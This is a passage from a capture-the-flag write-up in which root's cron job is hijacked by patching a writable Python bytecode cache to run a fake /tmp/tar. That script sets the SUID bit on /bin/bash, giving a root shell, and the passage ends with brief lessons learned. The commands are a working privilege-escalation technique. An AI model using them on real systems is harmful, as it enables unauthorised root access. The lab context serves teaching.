2026/10/22 21:45:01 CMD: UID=0 PID=81033 | /usr/sbin/CRON -f -P2026/10/22 21:45:01 CMD: UID=0 PID=81034 | /usr/sbin/CRON -f -P2026/10/22 21:45:01 CMD: UID=0 PID=81035 | python3 /opt/archiver/app.py[...]2026/10/22 21:46:01 CMD: UID=0 PID=81044 | /usr/sbin/CRON -f -P2026/10/22 21:46:01 CMD: UID=0 PID=81046 | python3 /opt/archiver/app.py2026/10/22 21:46:01 CMD: UID=0 PID=81045 | /bin/sh -c python3 /opt/archiver/app.pyWe can see that root (UID=0) runs /opt/archiver/app.py.
Instead of compiling a perfect copy of the pycache, we just do a string replacement so that the tar path points to our own /tmp/tar. That way, instead of running /usr/bin/tar, root will run ours in /tmp/tar. Since both strings are the same length we can safely substitute them without breaking the compilation.
sed -i 's|/usr/bin/tar|/tmp/tar|' helper.cpython-310.pycAnd we create /tmp/tar:
chmod u+s /bin/bashThis gives bash a suid bit, allowing us to spawn it as root. Make it runnable:
chmod +x /tmp/tarNow the only thing to do is trigger the helper function. For this the threshold must be reached:
threshold_date = datetime.now() - timedelta(days=3*365)For this we can just touch a file with an older date.
$ touch -d '2000-01-01 00:00:00.000000000 +0000' /backup/oldThis should trigger the helper function and thus call our injected script. Now we see that bash got its suid bit:
$ ls -al /bin/bash-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bashWe launch it with -p to preserve its effective UID, i.e. keeping the root UID for us.
$ /bin/bash -pbash-5.1# iduid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)After which we get the flag:
# cat /root/flag.txtLessons learned
- BitLocker Windows disk can be mounted on Linux
- Windows secrets are layered:
LSA secrets->DPAPI->masterkey->credential - SFTP-jails are just SSH interface with a forced commando.
- Writable
__pycache__can be abused to get RCE as themain.pyscript